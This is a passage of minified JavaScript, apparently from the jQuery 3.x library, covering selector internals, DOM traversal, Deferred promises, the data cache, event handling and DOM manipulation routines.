P.apply(n,i),n;break}}return(h||o(e,m))(i,t,!f,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},n.sortStable=M.split("").sort(S).join("")===M,n.detectDuplicates=!!c,h(),n.sortDetached=le((function(e){return 1&e.compareDocumentPosition(m.createElement("fieldset"))})),le((function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")}))||ce("type|href|height|width",(function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)})),n.attributes&&le((function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")}))||ce("value",(function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue})),le((function(e){return null==e.getAttribute("disabled")}))||ce(R,(function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null})),oe}(r);w.find=T,w.expr=T.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=T.uniqueSort,w.text=T.getText,w.isXMLDoc=T.isXML,w.contains=T.contains,w.escapeSelector=T.escape;var k=function(e,t,n){for(var r=[],i=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},x=w.expr.match.needsContext;function H(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var E=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return y(t)?w.grep(e,(function(e,r){return!!t.call(e,r,e)!==n})):t.nodeType?w.grep(e,(function(e){return e===t!==n})):"string"!=typeof t?w.grep(e,(function(e){return l.call(t,e)>-1!==n})):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,(function(e){return 1===e.nodeType})))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter((function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0})));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&x.test(e)?w(e):e||[],!1).length}});var P,C=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||P,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:C.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:v,!0)),E.test(r[1])&&w.isPlainObject(t))for(r in t)y(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=v.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):y(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,P=w(v);var O=/^(?:parents|prev(?:Until|All))/,R={children:!0,contents:!0,next:!0,prev:!0};function A(e,t){for(;(e=e[t])&&1!==e.nodeType;);return e}w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter((function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0}))},closest:function(e,t){var n,r=0,i=this.length,s=[],a="string"!=typeof e&&w(e);if(!x.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){s.push(n);break}return this.pushStack(s.length>1?w.uniqueSort(s):s)},index:function(e){return e?"string"==typeof e?l.call(w(e),this[0]):l.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return A(e,"nextSibling")},prev:function(e){return A(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return null!=e.contentDocument&&a(e.contentDocument)?e.contentDocument:(H(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},(function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(R[e]||w.uniqueSort(i),O.test(e)&&i.reverse()),this.pushStack(i)}}));var F=/[^\x20\t\r\n\f]+/g;function z(e){return e}function N(e){throw e}function I(e,t,n,r){var i;try{e&&y(i=e.promise)?i.call(e).done(t).fail(n):e&&y(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.Callbacks=function(e){e="string"==typeof e?function(e){var t={};return w.each(e.match(F)||[],(function(e,n){t[n]=!0})),t}(e):w.extend({},e);var t,n,r,i,s=[],a=[],o=-1,d=function(){for(i=i||e.once,r=t=!0;a.length;o=-1)for(n=a.shift();++o<s.length;)!1===s[o].apply(n[0],n[1])&&e.stopOnFalse&&(o=s.length,n=!1);e.memory||(n=!1),t=!1,i&&(s=n?[]:"")},u={add:function(){return s&&(n&&!t&&(o=s.length-1,a.push(n)),function t(n){w.each(n,(function(n,r){y(r)?e.unique&&u.has(r)||s.push(r):r&&r.length&&"string"!==D(r)&&t(r)}))}(arguments),n&&!t&&d()),this},remove:function(){return w.each(arguments,(function(e,t){for(var n;(n=w.inArray(t,s,n))>-1;)s.splice(n,1),n<=o&&o--})),this},has:function(e){return e?w.inArray(e,s)>-1:s.length>0},empty:function(){return s&&(s=[]),this},disable:function(){return i=a=[],s=n="",this},disabled:function(){return!s},lock:function(){return i=a=[],n||t||(s=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||d()),this},fire:function(){return u.fireWith(this,arguments),this},fired:function(){return!!r}};return u},w.extend({Deferred:function(e){var t=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],n="pending",i={state:function(){return n},always:function(){return s.done(arguments).fail(arguments),this},catch:function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred((function(n){w.each(t,(function(t,r){var i=y(e[r[4]])&&e[r[4]];s[r[1]]((function(){var e=i&&i.apply(this,arguments);e&&y(e.promise)?e.promise().progress(n.notify).done(n.resolve).fail(n.reject):n[r[0]+"With"](this,i?[e]:arguments)}))})),e=null})).promise()},then:function(e,n,i){var s=0;function a(e,t,n,i){return function(){var o=this,d=arguments,u=function(){var r,u;if(!(e<s)){if((r=n.apply(o,d))===t.promise())throw new TypeError("Thenable self-resolution");u=r&&("object"==typeof r||"function"==typeof r)&&r.then,y(u)?i?u.call(r,a(s,t,z,i),a(s,t,N,i)):(s++,u.call(r,a(s,t,z,i),a(s,t,N,i),a(s,t,z,t.notifyWith))):(n!==z&&(o=void 0,d=[r]),(i||t.resolveWith)(o,d))}},l=i?u:function(){try{u()}catch(r){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(r,l.stackTrace),e+1>=s&&(n!==N&&(o=void 0,d=[r]),t.rejectWith(o,d))}};e?l():(w.Deferred.getStackHook&&(l.stackTrace=w.Deferred.getStackHook()),r.setTimeout(l))}}return w.Deferred((function(r){t[0][3].add(a(0,r,y(i)?i:z,r.notifyWith)),t[1][3].add(a(0,r,y(e)?e:z)),t[2][3].add(a(0,r,y(n)?n:N))})).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},s={};return w.each(t,(function(e,r){var a=r[2],o=r[5];i[r[1]]=a.add,o&&a.add((function(){n=o}),t[3-e][2].disable,t[3-e][3].disable,t[0][2].lock,t[0][3].lock),a.add(r[3].fire),s[r[0]]=function(){return s[r[0]+"With"](this===s?void 0:this,arguments),this},s[r[0]+"With"]=a.fireWith})),i.promise(s),e&&e.call(s,s),s},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),s=w.Deferred(),a=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||s.resolveWith(r,i)}};if(t<=1&&(I(e,s.done(a(n)).resolve,s.reject,!t),"pending"===s.state()||y(i[n]&&i[n].then)))return s.then();for(;n--;)I(i[n],a(n),s.reject);return s.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(e,t){r.console&&r.console.warn&&e&&W.test(e.name)&&r.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},w.readyException=function(e){r.setTimeout((function(){throw e}))};var B=w.Deferred();function U(){v.removeEventListener("DOMContentLoaded",U),r.removeEventListener("load",U),w.ready()}w.fn.ready=function(e){return B.then(e).catch((function(e){w.readyException(e)})),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||B.resolveWith(v,[w]))}}),w.ready.then=B.then,"complete"===v.readyState||"loading"!==v.readyState&&!v.documentElement.doScroll?r.setTimeout(w.ready):(v.addEventListener("DOMContentLoaded",U),r.addEventListener("load",U));var G=function(e,t,n,r,i,s,a){var o=0,d=e.length,u=null==n;if("object"===D(n))for(o in i=!0,n)G(e,t,o,n[o],!0,s,a);else if(void 0!==r&&(i=!0,y(r)||(a=!0),u&&(a?(t.call(e,r),t=null):(u=t,t=function(e,t,n){return u.call(w(e),n)})),t))for(;o<d;o++)t(e[o],n,a?r:r.call(e[o],o,t(e[o],n)));return i?e:u?t.call(e):d?t(e[0],n):s},V=/^-ms-/,J=/-([a-z])/g;function q(e,t){return t.toUpperCase()}function $(e){return e.replace(V,"ms-").replace(J,q)}var Z=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function K(){this.expando=w.expando+K.uid++}K.uid=1,K.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Z(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[$(t)]=n;else for(r in t)i[$(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][$(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map($):(t=$(t))in r?[t]:t.match(F)||[]).length;for(;n--;)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var X=new K,Q=new K,ee=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,te=/[A-Z]/g;function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(te,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=function(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:ee.test(e)?JSON.parse(e):e)}(n)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return Q.hasData(e)||X.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return X.access(e,t,n)},_removeData:function(e,t){X.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,s=this[0],a=s&&s.attributes;if(void 0===e){if(this.length&&(i=Q.get(s),1===s.nodeType&&!X.get(s,"hasDataAttrs"))){for(n=a.length;n--;)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=$(r.slice(5)),ne(s,r,i[r]));X.set(s,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each((function(){Q.set(this,e)})):G(this,(function(t){var n;if(s&&void 0===t)return void 0!==(n=Q.get(s,e))||void 0!==(n=ne(s,e))?n:void 0;this.each((function(){Q.set(this,e,t)}))}),null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each((function(){Q.remove(this,e)}))}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=X.get(e,t),n&&(!r||Array.isArray(n)?r=X.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),s=w._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete s.stop,i.call(e,(function(){w.dequeue(e,t)}),s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return X.get(e,n)||X.access(e,n,{empty:w.Callbacks("once memory").add((function(){X.remove(e,[t+"queue",n])}))})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each((function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)}))},dequeue:function(e){return this.each((function(){w.dequeue(this,e)}))},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),s=this,a=this.length,o=function(){--r||i.resolveWith(s,[s])};for("string"!=typeof e&&(t=e,e=void 0),e=e||"fx";a--;)(n=X.get(s[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(o));return o(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),se=["Top","Right","Bottom","Left"],ae=v.documentElement,oe=function(e){return w.contains(e.ownerDocument,e)},de={composed:!0};ae.getRootNode&&(oe=function(e){return w.contains(e.ownerDocument,e)||e.getRootNode(de)===e.ownerDocument});var ue=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&oe(e)&&"none"===w.css(e,"display")};function le(e,t,n,r){var i,s,a=20,o=r?function(){return r.cur()}:function(){return w.css(e,t,"")},d=o(),u=n&&n[3]||(w.cssNumber[t]?"":"px"),l=e.nodeType&&(w.cssNumber[t]||"px"!==u&&+d)&&ie.exec(w.css(e,t));if(l&&l[3]!==u){for(d/=2,u=u||l[3],l=+d||1;a--;)w.style(e,t,l+u),(1-s)*(1-(s=o()/d||.5))<=0&&(a=0),l/=s;l*=2,w.style(e,t,l+u),n=n||[]}return n&&(l=+l||+d||0,i=n[1]?l+(n[1]+1)*n[2]:+n[2],r&&(r.unit=u,r.start=l,r.end=i)),i}var ce={};function he(e){var t,n=e.ownerDocument,r=e.nodeName,i=ce[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),ce[r]=i,i)}function me(e,t){for(var n,r,i=[],s=0,a=e.length;s<a;s++)(r=e[s]).style&&(n=r.style.display,t?("none"===n&&(i[s]=X.get(r,"display")||null,i[s]||(r.style.display="")),""===r.style.display&&ue(r)&&(i[s]=he(r))):"none"!==n&&(i[s]="none",X.set(r,"display",n)));for(s=0;s<a;s++)null!=i[s]&&(e[s].style.display=i[s]);return e}w.fn.extend({show:function(){return me(this,!0)},hide:function(){return me(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each((function(){ue(this)?w(this).show():w(this).hide()}))}});var pe,fe,_e=/^(?:checkbox|radio)$/i,ye=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,ge=/^$|^module$|\/(?:java|ecma)script/i;pe=v.createDocumentFragment().appendChild(v.createElement("div")),(fe=v.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),pe.appendChild(fe),_.checkClone=pe.cloneNode(!0).cloneNode(!0).lastChild.checked,pe.innerHTML="<textarea>x</textarea>",_.noCloneChecked=!!pe.cloneNode(!0).lastChild.defaultValue,pe.innerHTML="<option></option>",_.option=!!pe.lastChild;var ve={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function Me(e,t){var n;return n=void 0!==e.getElementsByTagName?e.getElementsByTagName(t||"*"):void 0!==e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&H(e,t)?w.merge([e],n):n}function Le(e,t){for(var n=0,r=e.length;n<r;n++)X.set(e[n],"globalEval",!t||X.get(t[n],"globalEval"))}ve.tbody=ve.tfoot=ve.colgroup=ve.caption=ve.thead,ve.th=ve.td,_.option||(ve.optgroup=ve.option=[1,"<select multiple='multiple'>","</select>"]);var De=/<|&#?\w+;/;function Ye(e,t,n,r,i){for(var s,a,o,d,u,l,c=t.createDocumentFragment(),h=[],m=0,p=e.length;m<p;m++)if((s=e[m])||0===s)if("object"===D(s))w.merge(h,s.nodeType?[s]:s);else if(De.test(s)){for(a=a||c.appendChild(t.createElement("div")),o=(ye.exec(s)||["",""])[1].toLowerCase(),d=ve[o]||ve._default,a.innerHTML=d[1]+w.htmlPrefilter(s)+d[2],l=d[0];l--;)a=a.lastChild;w.merge(h,a.childNodes),(a=c.firstChild).textContent=""}else h.push(t.createTextNode(s));for(c.textContent="",m=0;s=h[m++];)if(r&&w.inArray(s,r)>-1)i&&i.push(s);else if(u=oe(s),a=Me(c.appendChild(s),"script"),u&&Le(a),n)for(l=0;s=a[l++];)ge.test(s.type||"")&&n.push(s);return c}var we=/^key/,be=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Te=/^([^.]*)(?:\.(.+)|)/;function ke(){return!0}function Se(){return!1}function xe(e,t){return e===function(){try{return v.activeElement}catch(e){}}()==("focus"===t)}function He(e,t,n,r,i,s){var a,o;if("object"==typeof t){for(o in"string"!=typeof n&&(r=r||n,n=void 0),t)He(e,o,n,r,t[o],s);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Se;else if(!i)return e;return 1===s&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each((function(){w.event.add(this,t,i,r,n)}))}function Ee(e,t,n){n?(X.set(e,t,!1),w.event.add(e,t,{namespace:!1,handler:function(e){var r,i,s=X.get(this,t);if(1&e.isTrigger&&this[t]){if(s.length)(w.event.special[t]||{}).delegateType&&e.stopPropagation();else if(s=o.call(arguments),X.set(this,t,s),r=n(this,t),this[t](),s!==(i=X.get(this,t))||r?X.set(this,t,!1):i={},s!==i)return e.stopImmediatePropagation(),e.preventDefault(),i.value}else s.length&&(X.set(this,t,{value:w.event.trigger(w.extend(s[0],w.Event.prototype),s.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===X.get(e,t)&&w.event.add(e,t,ke)}w.event={global:{},add:function(e,t,n,r,i){var s,a,o,d,u,l,c,h,m,p,f,_=X.get(e);if(Z(e))for(n.handler&&(n=(s=n).handler,i=s.selector),i&&w.find.matchesSelector(ae,i),n.guid||(n.guid=w.guid++),(d=_.events)||(d=_.events=Object.create(null)),(a=_.handle)||(a=_.handle=function(t){return void 0!==w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),u=(t=(t||"").match(F)||[""]).length;u--;)m=f=(o=Te.exec(t[u])||[])[1],p=(o[2]||"").split(".").sort(),m&&(c=w.event.special[m]||{},m=(i?c.delegateType:c.bindType)||m,c=w.event.special[m]||{},l=w.extend({type:m,origType:f,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:p.join(".")},s),(h=d[m])||((h=d[m]=[]).delegateCount=0,c.setup&&!1!==c.setup.call(e,r,p,a)||e.addEventListener&&e.addEventListener(m,a)),c.add&&(c.add.call(e,l),l.handler.guid||(l.handler.guid=n.guid)),i?h.splice(h.delegateCount++,0,l):h.push(l),w.event.global[m]=!0)},remove:function(e,t,n,r,i){var s,a,o,d,u,l,c,h,m,p,f,_=X.hasData(e)&&X.get(e);if(_&&(d=_.events)){for(u=(t=(t||"").match(F)||[""]).length;u--;)if(m=f=(o=Te.exec(t[u])||[])[1],p=(o[2]||"").split(".").sort(),m){for(c=w.event.special[m]||{},h=d[m=(r?c.delegateType:c.bindType)||m]||[],o=o[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=s=h.length;s--;)l=h[s],!i&&f!==l.origType||n&&n.guid!==l.guid||o&&!o.test(l.namespace)||r&&r!==l.selector&&("**"!==r||!l.selector)||(h.splice(s,1),l.selector&&h.delegateCount--,c.remove&&c.remove.call(e,l));a&&!h.length&&(c.teardown&&!1!==c.teardown.call(e,p,_.handle)||w.removeEvent(e,m,_.handle),delete d[m])}else for(m in d)w.event.remove(e,m+t[u],n,r,!0);w.isEmptyObject(d)&&X.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,s,a,o=new Array(arguments.length),d=w.event.fix(e),u=(X.get(this,"events")||Object.create(null))[d.type]||[],l=w.event.special[d.type]||{};for(o[0]=d,t=1;t<arguments.length;t++)o[t]=arguments[t];if(d.delegateTarget=this,!l.preDispatch||!1!==l.preDispatch.call(this,d)){for(a=w.event.handlers.call(this,d,u),t=0;(i=a[t++])&&!d.isPropagationStopped();)for(d.currentTarget=i.elem,n=0;(s=i.handlers[n++])&&!d.isImmediatePropagationStopped();)d.rnamespace&&!1!==s.namespace&&!d.rnamespace.test(s.namespace)||(d.handleObj=s,d.data=s.data,void 0!==(r=((w.event.special[s.origType]||{}).handle||s.handler).apply(i.elem,o))&&!1===(d.result=r)&&(d.preventDefault(),d.stopPropagation()));return l.postDispatch&&l.postDispatch.call(this,d),d.result}},handlers:function(e,t){var n,r,i,s,a,o=[],d=t.delegateCount,u=e.target;if(d&&u.nodeType&&!("click"===e.type&&e.button>=1))for(;u!==this;u=u.parentNode||this)if(1===u.nodeType&&("click"!==e.type||!0!==u.disabled)){for(s=[],a={},n=0;n<d;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(u)>-1:w.find(i,this,null,[u]).length),a[i]&&s.push(r);s.length&&o.push({elem:u,handlers:s})}return u=this,d<t.length&&o.push({elem:u,handlers:t.slice(d)}),o},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:y(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return _e.test(t.type)&&t.click&&H(t,"input")&&Ee(t,"click",ke),!1},trigger:function(e){var t=this||e;return _e.test(t.type)&&t.click&&H(t,"input")&&Ee(t,"click"),!0},_default:function(e){var t=e.target;return _e.test(t.type)&&t.click&&H(t,"input")&&X.get(t,"click")||H(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?ke:Se,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:Se,isPropagationStopped:Se,isImmediatePropagationStopped:Se,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=ke,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=ke,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=ke,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,char:!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&be.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({focus:"focusin",blur:"focusout"},(function(e,t){w.event.special[e]={setup:function(){return Ee(this,e,xe),!1},trigger:function(){return Ee(this,e),!0},delegateType:t}})),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},(function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,s=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=s.origType,n=s.handler.apply(this,arguments),e.type=t),n}}})),w.fn.extend({on:function(e,t,n,r){return He(this,e,t,n,r)},one:function(e,t,n,r){return He(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Se),this.each((function(){w.event.remove(this,e,n,t)}))}});var je=/<script|<style|<link/i,Pe=/checked\s*(?:[^=]|=\s*.checked.)/i,Ce=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Oe(e,t){return H(e,"table")&&H(11!==t.nodeType?t:t.firstChild,"tr")&&w(e).children("tbody")[0]||e}function Re(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Ae(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Fe(e,t){var n,r,i,s,a,o;if(1===t.nodeType){if(X.hasData(e)&&(o=X.get(e).events))for(i in X.remove(t,"handle events"),o)for(n=0,r=o[i].length;n<r;n++)w.event.add(t,i,o[i][n]);Q.hasData(e)&&(s=Q.access(e),a=w.extend({},s),Q.set(t,a))}}function ze(e,t){var n=t.nodeName.toLowerCase();"input"===n&&_e.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Ne(e,t,n,r){t=d(t);var i,s,a,o,u,l,c=0,h=e.length,m=h-1,p=t[0],f=y(p);if(f||h>1&&"string"==typeof p&&!_.checkClone&&Pe.test(p))return e.each((function(i){var s=e.eq(i);f&&(t[0]=p.call(this,i,s.html())),Ne(s,t,n,r)}));if(h&&(s=(i=Ye(t,e[0].ownerDocument,!1,e,r)).firstChild,1===i.childNodes.length&&(i=s),s||r)){for(o=(a=w.map(Me(i,"script"),Re)).length;c<h;c++)u=i,c!==m&&(u=w.clone(u,!0,!0),o&&w.merge(a,Me(u,"script"))),n.call(e[c],u,c);if(o)for(l=a[a.length-1].ownerDocument,w.map(a,Ae),c=0;c<o;c++)u=a[c],ge.test(u.type||"")&&!X.access(u,"globalEval")&&w.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?w._evalUrl&&!u.noModule&&w._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):L(u.textContent.replace(Ce,""),u,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,s=0;null!=(r=i[s]);s++)n||1!==r.nodeType||w.cleanData(Me(r)),r.parentNode&&(n&&oe(r)&&Le(Me(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,s,a,o=e.cloneNode(!0),d=oe(e);if(!(_.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=Me(o),r=0,i=(s=Me(e)).length;r<i;r++)ze(s[r],a[r]);if(t)if(n)for(s=s||Me(e),a=a||Me(o),r=0,i=s.length;r<i;r++)Fe(s[r],a[r]);else Fe(e,o);return(a=Me(o,"script")).length>0&&Le(a,!d&&Me(e,"script")),o},cleanData:function(e){for(var t,n,r,i=w.event.special,s=0;void 